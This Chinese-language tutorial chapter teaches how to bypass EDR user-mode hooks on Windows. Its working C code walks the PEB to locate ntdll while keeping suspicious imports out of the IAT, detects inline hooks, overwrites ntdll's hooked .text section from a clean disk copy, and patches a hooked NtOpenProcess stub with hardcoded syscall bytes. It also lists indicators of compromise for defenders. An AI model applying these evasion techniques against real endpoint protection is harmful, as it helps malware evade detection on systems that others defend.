Skip to main content

绕过用户态Hooking

在上个小节,我们讨论了 EDR 在用户态设置 Hook 的原理,那么相应地,我们可以根据这原理寻找间隙,实现对用户态 Hook 的绕过。截至目前,已经有多种方法绕过 Hook。不过,Hook 并非 EDR 的全部检测能力的来源,因此绕过 Hook 的这个过程本身可能就会被检测为恶意。不过无论如何,在这个小节,我们会过一下常见的一些用于绕过 Hook 的方法,以及它们的 IOC。在下个小节,我们会继续探讨绕过用户态 Hook 的方法,虽然会更加复杂一些。


检测内联 Hook

内联 Hook 的实施是在要 Hook 的 NTAPI 的 syscall stub 中的 syscall 指令之前用无条件跳转指令覆盖原有指令。不同的 EDR 可能会覆盖不同的指令,例如 CrowdStrike 覆盖的是 mov eax, SSN 这条指令,有的 EDR 覆盖的是 mov r10, rcx 这条指令。

因此,代码的逻辑便很直接,逐一检查 syscall stub 的前 4 个字节。在代码里,我们通过 PEB Walking 的方法在不调用 LoadLibray,GetModuleHandle,GetProcAddress 函数的情况下可以获得 ntdll 模块的地址、给定函数的地址。这么做可以避免 LoadLibray,GetModuleHandle,GetProcAddress 这些函数在 IAT 中的显示。

因为涉及对模块的解析,因此我们也会频繁用到 PE 文件相关的结构体。

#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>


//Get module handle for ntdll and kernel32 at the same time
void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

BOOL CheckFuncByName(IN HMODULE hModule, const CHAR * funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return false;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return false;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName,pFunctionName)==0)
		{
			// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
			}
			else
			{
				printf("NTAPI %s is hooked\n", funcName);
				return true;
			}
			return false;
		}
	}
	return false;
}

int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	CheckFuncByName(ntdll,"NtAllocateVirtualMemory");
	CheckFuncByName(ntdll, "NtOpenProcess");
	CheckFuncByName(ntdll, "NtReadVirtualMemory");
	CheckFuncByName(ntdll, "NtWriteVirtualMemory");
    return 0;
}

编译后,使用 WinDBG 来调试该程序,通过手动修改 NtOpenProcess 的第一条指令来模拟 hook。程序也成功地检测出 NtOpenProcess API 的指令被纂改。

image.png


替换 .text 节

我们知道 PE 文件的 .text 节是可执行代码的区域,权限是 RX。既然特定 NTAPI 被 hook 了,只要用干净的 ntdll 的 .text 节来覆盖,那么我们就会得到干净的代码,自然可以实现 unhook。

因此,我们首先要获得载入的 ntdll 模块的地址,这个我们已经用代码实现了。然后我们从磁盘读取 ntdll 文件,并存储在缓冲区中。需要注意的是,存储在缓冲区中的 ntdll 的内容是基于磁盘中的形式,即尚未映射到内存中。这样,我们有了 2 份不同的 ntdll 的地址,一份是被 hook 的,一份是干净的;一份是映射在内存中的,一份是基于磁盘形式的。因此,在将干净 ntdll 文件中的 .text 节覆盖被 hook 的 ntdll 的 .text 节时,我们需要稍加注意 PointerOfRawData 与 VirtualAddress,SizeOfRawData 与 VirtualSize。

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

以下面截图中的 ntdll 为例,在本地磁盘时,文件偏移为 0x400,尺寸为 0x11920。当被载入至内存时,RVA 是 0x1000,尺寸为 0x1190ce。我们需要注意到这差异。

image.png

因为两者 .text 节的尺寸有轻微不同,为了保险起见,我们适用尺寸更大的 .text 节来覆盖。之所以考虑这点,我是担心如果干净的 .text 节尺寸更小,那么没有完全覆盖,载入的 ntdll 的代码区还会有少量代码残留,可能在特定情况下导致意想不到的结果。尽管在本案例中干净的代码区尺寸更大,但在其他的操作系统版本可能是相反的情况,所以我们依旧需要考虑到。

#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <string.h>

void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

BOOL CheckFuncByName(IN HMODULE hModule, const CHAR* funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return false;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return false;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName, pFunctionName) == 0)
		{
			// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
			}
			else
			{
				printf("NTAPI %s is hooked\n", funcName);
				return true;
			}
			return false;
		}
	}
	return false;
}


int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	CheckFuncByName(ntdll, "NtOpenProcess");

	HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileA Failed With Error : %d \n\n", GetLastError());
		return -1;
	}
	DWORD dwFileLen = GetFileSize(hFile, NULL);
	DWORD dwNumberOfBytesRead;
	PVOID pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);
	if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead)
	{
		printf("[!] ReadFile Failed With Error : %d \n\n", GetLastError());
		return -1;
	}
	if (hFile)
	{
		CloseHandle(hFile);
	}


	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdll;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdll + hookedDosHeader->e_lfanew);
	PIMAGE_DOS_HEADER CleanDosHeader = (PIMAGE_DOS_HEADER)pNtdllBuffer;
	PIMAGE_NT_HEADERS CleanNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pNtdllBuffer + CleanDosHeader->e_lfanew);

	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++)
	{
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
		PIMAGE_SECTION_HEADER CleanSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(CleanNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text"))
		{
			LPVOID hookedTextSection = (LPVOID)((DWORD_PTR)ntdll + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
			LPVOID CleanTextSection = (LPVOID)((DWORD_PTR)pNtdllBuffer + (DWORD_PTR)CleanSectionHeader->PointerToRawData);
			size_t size_TextSection = (hookedSectionHeader->Misc.VirtualSize > CleanSectionHeader->SizeOfRawData) ? hookedSectionHeader->Misc.VirtualSize : CleanSectionHeader->SizeOfRawData;
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtect(hookedTextSection, size_TextSection, PAGE_EXECUTE_READWRITE, &oldProtection);
			memcpy(hookedTextSection, CleanTextSection, size_TextSection);
			isProtected = VirtualProtect(hookedTextSection, size_TextSection, oldProtection, &oldProtection);
		}
	}
	CheckFuncByName(ntdll, "NtOpenProcess");
	return 0;
}

编译后,我们使用 WinDBG 来调试该程序,为了模拟 hook,我们手动修改 NtOpenProcess API 的第一条指令,并且确认了该修改是成功的。在程序运行结束后,查看该 API,发现代码被恢复成原有的了。因此,通过替换 .text 节,我们可以实现对用户态 Hook 的绕过。

image.png

值得一提的是,我发现其他利用此方法的代码里,作者们用了 CreateFileMapping 与 MapViewOfFile 来将干净的 ntdll 载入至内存中。

HANDLE CreateFileMappingA(
  [in]           HANDLE                hFile,
  [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
  [in]           DWORD                 flProtect,
  [in]           DWORD                 dwMaximumSizeHigh,
  [in]           DWORD                 dwMaximumSizeLow,
  [in, optional] LPCSTR                lpName
);

LPVOID MapViewOfFile(
  [in] HANDLE hFileMappingObject,
  [in] DWORD  dwDesiredAccess,
  [in] DWORD  dwFileOffsetHigh,
  [in] DWORD  dwFileOffsetLow,
  [in] SIZE_T dwNumberOfBytesToMap
);

使用这些 WinAPI 时,因为映像被映射到内存中,因此 Windows 加载器会适用变更的对齐系数,导致 .text 的偏移也不同。如果 CreateFileMappingA 的 flProtext 参数没有包含 SEC_IMAGE SEC_IMAGE_NO_EXECUTE 标志,则不会适用新的对齐。但SEC_IMAGE_NO_EXECUTE 标志还是会更好一些,因为它不会触发 PsSetLoadImageNotifyRoutine 回调。这意味着当 ntdll.dll 被映射到内存时,使用此标志不会提醒接收映像载入通知例程的安全产品。

hSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);
if (hSection == NULL) {
	printf("[!] CreateFileMappingA Failed With Error : %d \n", GetLastError());
	return -1;
}

// mapping the view of file of ntdll.dll
pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
if (pNtdllBuffer == NULL) {
	printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
	return -1;
}

好,我们来讨论以下该方法存在的 IOC:

  1. 从磁盘中读取 ntdll.dll 对于良性程序来说比较可疑
  2. 在 unhook 之前,我们需要用到一些敏感的函数,例如 VirtualProtect,WriteProcessMemory(可用于代替 VirtualProtect 和 memcpy 组合) 等
  3. EDR 可以验证载入的 ntdll 的完整性以判断是否遭到了纂改

拓展

我们是从磁盘中读取 ntdll,其实我们还可以从 KnownDlls 目录、远程 web 服务器上读取。请查询资料以及所需的 API 的用法,进行实现作为练习。


补丁 NTAPI

相比替换整个 ntdll 模块的 .text 节,我们可以选择只补丁我们所需的且被 hook 的函数,这样,补丁的动作会相对小一些。相比之前的代码,我们可以硬编码或者动态地获得目标 NTAPI 的 syscall stub 指令字节,其实区别只在于 SSN。至于如何动态地获取 SSN,我们会在下一小节进行讲解,因此这里我们就硬编码 NtOpenProcess 的 syscall stub 好了。

需要略加注意的是,对于给定的函数,其地址很大概率不是与内存页对齐的,幸运的是,像 VirtualAlloc、VirtualProtect 这类函数会自动帮我们适用向下最近的页的地址。

image.png

对于代码,我们只需要增加硬编码的 NTAPI 的 syscall stub,以及对 CheckFuncByName 稍加修改。

#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <string.h>

void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

BOOL CheckFuncByName(IN HMODULE hModule, const CHAR* funcName, unsigned char* cleanNTAPI)
{
	PBYTE pBase = (PBYTE)hModule;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return false;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return false;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName, pFunctionName) == 0)
		{
			// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
			}
			else
			{
				printf("NTAPI %s is hooked, its address is 0x%x\n", funcName, pFunctionAddress);
				DWORD_PTR pageStart = ((DWORD_PTR)pFunctionAddress / 0x1000) * 0x1000;
				printf("Start address of the page is 0x%x\n", pageStart);
				DWORD oldProtection = 0;
				bool isProtected = VirtualProtect((PBYTE)pageStart, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtection);
				memcpy(pFunctionAddress, cleanNTAPI, 0xb);
				isProtected = VirtualProtect((PBYTE)pageStart,0x1000, oldProtection, &oldProtection);
				return true;
			}
			return false;
		}
	}
	return false;
}


int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	unsigned char cleanNtOpenProcess[] = "\x4c\x8b\xd1\xb8\x26\x00\x00\x00\x0f\x05\xc3";
	CheckFuncByName(ntdll, "NtOpenProcess",cleanNtOpenProcess);
	CheckFuncByName(ntdll, "NtOpenProcess",cleanNtOpenProcess);
	return 0;
}

代码的 syscall stub 中保存的是最精简的指令,因为这足以成功发起 syscall。总之,通过补丁给定被 hook 的函数指令,可以实现对想要的函数进行 unhook。

image.png

对于此方法,虽然比替换整个代码区动静要小一些,但因为原理相似,论 IOC 其实是差不多的。


载入纯净 ntdll 模块